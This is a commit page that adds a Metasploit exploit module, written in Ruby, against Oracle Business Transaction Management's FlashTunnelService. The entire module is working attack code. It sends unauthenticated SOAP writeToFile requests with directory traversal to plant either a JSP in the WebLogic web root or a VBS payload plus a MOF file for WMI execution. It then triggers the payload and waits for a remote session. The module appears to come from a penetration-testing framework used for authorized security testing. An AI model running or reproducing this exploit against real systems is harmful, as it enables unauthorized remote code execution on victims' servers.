Added module for osvdb 85087
jvazquez-r7
parent
578b507dc7
commit
9c77c15cf5
|
|
@ -0,0 +1,291 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::WbemExec
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits abuses the FlashTunnelService SOAP web service on Oracle
|
||||||
|
Business Transaction Management 12.1.0.7 to upload arbitrary files, without
|
||||||
|
authentication, using the WriteToFile method. The same method contains a directory
|
||||||
|
traversal vulnerability, which allows to upload the files to arbitrary locations.
|
||||||
|
|
||||||
|
In order to execute remote code two techniques are provided. If the Oracle app has
|
||||||
|
been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web
|
||||||
|
root. If a new Domain has been used to deploy the Oracle application, the Windows
|
||||||
|
Management Instrumentation service can be used to execute arbitrary code. Both
|
||||||
|
techniques has been successfully tested on Oracle BTM 12.1.0.7, Weblogic 12.1.1 and
|
||||||
|
Windows 2003 SP2.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'rgod', # Vulnerability Discovery and PoC
|
||||||
|
'sinn3r', # Metasploit module
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'OSVDB', '85087' ],
|
||||||
|
[ 'BID', '54839' ],
|
||||||
|
[ 'EDB', '20318' ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Space' => 2048,
|
||||||
|
'StackAdjustment' => -3500
|
||||||
|
},
|
||||||
|
'Platform' => [ 'java', 'win' ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Depth' => 10
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Depth' => 13
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Aug 07 2012'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(7001),
|
||||||
|
OptInt.new('DEPTH', [false, 'Traversal depth'])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
|
||||||
|
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(client)
|
||||||
|
|
||||||
|
return if not @var_mof_name
|
||||||
|
return if not @var_vbs_name
|
||||||
|
|
||||||
|
if client.type != "meterpreter"
|
||||||
|
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
||||||
|
print_error("The vbs payload and mof file must be removed manually.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# stdapi must be loaded before we can use fs.file
|
||||||
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||||
|
|
||||||
|
cmd = "C:\\windows\\system32\\attrib.exe -r " +
|
||||||
|
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
|
||||||
|
|
||||||
|
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||||
|
|
||||||
|
begin
|
||||||
|
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||||
|
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
|
||||||
|
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||||
|
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Exception: #{e.inspect}")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
if target.name =~ /WMI/
|
||||||
|
|
||||||
|
# In order to save binary data to the file system the payload is written to a .vbs
|
||||||
|
# file and execute it from there.
|
||||||
|
@var_mof_name = rand_text_alpha(rand(5)+5)
|
||||||
|
@var_vbs_name = rand_text_alpha(rand(5)+5)
|
||||||
|
|
||||||
|
print_status("Encoding payload into vbs...")
|
||||||
|
my_payload = generate_payload_exe
|
||||||
|
vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload)
|
||||||
|
|
||||||
|
print_status("Generating mof file...")
|
||||||
|
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
|
||||||
|
|
||||||
|
if not datastore['DEPTH'] or datastore['DEPTH'] == 0
|
||||||
|
traversal = "..\\" * target['Depth']
|
||||||
|
else
|
||||||
|
traversal = "..\\" * datastore['DEPTH']
|
||||||
|
end
|
||||||
|
traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs"
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading the VBS payload")
|
||||||
|
|
||||||
|
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
|
||||||
|
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
|
||||||
|
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
|
||||||
|
soap_request << " <soapenv:Header/>"
|
||||||
|
soap_request << " <soapenv:Body>"
|
||||||
|
soap_request << " <int:writeToFileRequest>"
|
||||||
|
soap_request << " <int:writeToFile handle=\"#{traversal}\">"
|
||||||
|
soap_request << " <typ:text>#{Rex::Text.html_encode(vbs_content)}</typ:text>"
|
||||||
|
soap_request << " <typ:WriteToFileRequestVersion>"
|
||||||
|
soap_request << " </typ:WriteToFileRequestVersion>"
|
||||||
|
soap_request << " </int:writeToFile>"
|
||||||
|
soap_request << " </int:writeToFileRequest>"
|
||||||
|
soap_request << " </soapenv:Body>"
|
||||||
|
soap_request << "</soapenv:Envelope>"
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/btmui/soa/flash_svc/',
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "text/xml;charset=UTF-8",
|
||||||
|
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
|
||||||
|
'data' => soap_request,
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /writeToFileResponse/
|
||||||
|
print_status("#{peer} - VBS payload successfully uploaded")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to upload the VBS payload")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if not datastore['DEPTH'] or datastore['DEPTH'] == 0
|
||||||
|
traversal = "..\\" * target['Depth']
|
||||||
|
else
|
||||||
|
traversal = "..\\" * datastore['DEPTH']
|
||||||
|
end
|
||||||
|
traversal << "WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof"
|
||||||
|
|
||||||
|
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
|
||||||
|
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
|
||||||
|
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
|
||||||
|
soap_request << " <soapenv:Header/>"
|
||||||
|
soap_request << " <soapenv:Body>"
|
||||||
|
soap_request << " <int:writeToFileRequest>"
|
||||||
|
soap_request << " <int:writeToFile handle=\"#{traversal}\">"
|
||||||
|
soap_request << " <typ:text>#{Rex::Text.html_encode(mof_content)}</typ:text>"
|
||||||
|
soap_request << " <typ:WriteToFileRequestVersion>"
|
||||||
|
soap_request << " </typ:WriteToFileRequestVersion>"
|
||||||
|
soap_request << " </int:writeToFile>"
|
||||||
|
soap_request << " </int:writeToFileRequest>"
|
||||||
|
soap_request << " </soapenv:Body>"
|
||||||
|
soap_request << "</soapenv:Envelope>"
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading the MOF file")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/btmui/soa/flash_svc/',
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "text/xml;charset=UTF-8",
|
||||||
|
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
|
||||||
|
'data' => soap_request,
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /writeToFileResponse/
|
||||||
|
print_status("#{peer} - MOF file successfully uploaded")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to upload the MOF file")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
elsif target['Arch'] == ARCH_JAVA
|
||||||
|
|
||||||
|
@jsp_name = rand_text_alpha(rand(5)+5)
|
||||||
|
|
||||||
|
if not datastore['DEPTH'] or datastore['DEPTH'] == 0
|
||||||
|
traversal = "..\\" * target['Depth']
|
||||||
|
else
|
||||||
|
traversal = "..\\" * datastore['DEPTH']
|
||||||
|
end
|
||||||
|
traversal << "\\server\\examples\\build\\mainWebApp\\#{@jsp_name}.jsp"
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading the JSP payload")
|
||||||
|
|
||||||
|
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
|
||||||
|
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
|
||||||
|
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
|
||||||
|
soap_request << " <soapenv:Header/>"
|
||||||
|
soap_request << " <soapenv:Body>"
|
||||||
|
soap_request << " <int:writeToFileRequest>"
|
||||||
|
soap_request << " <int:writeToFile handle=\"#{traversal}\">"
|
||||||
|
soap_request << " <typ:text>#{Rex::Text.html_encode(payload.encoded)}</typ:text>"
|
||||||
|
soap_request << " <typ:WriteToFileRequestVersion>"
|
||||||
|
soap_request << " </typ:WriteToFileRequestVersion>"
|
||||||
|
soap_request << " </int:writeToFile>"
|
||||||
|
soap_request << " </int:writeToFileRequest>"
|
||||||
|
soap_request << " </soapenv:Body>"
|
||||||
|
soap_request << "</soapenv:Envelope>"
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/btmui/soa/flash_svc/',
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "text/xml;charset=UTF-8",
|
||||||
|
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
|
||||||
|
'data' => soap_request,
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /writeToFileResponse/
|
||||||
|
print_status("#{peer} - JSP payload successfully uploaded")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to upload the JSP payload")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Executing the uploaded JSP #{@jsp_name}.jsp ...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => "/#{@jsp_name}.jsp",
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'GET',
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
|
||||||
|
else # This shouldn't happen
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Waiting for a payload session (backgrounding)...")
|
||||||
|
|
||||||
|
if not datastore['ExitOnSession'] and not job_id
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
|
||||||
|
end
|
||||||
|
|
||||||
|
stime = Time.now.to_f
|
||||||
|
print_status "Starting the payload handler..."
|
||||||
|
while(true)
|
||||||
|
break if session_created? and datastore['ExitOnSession']
|
||||||
|
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
|
||||||
|
|
||||||
|
select(nil,nil,nil,1)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue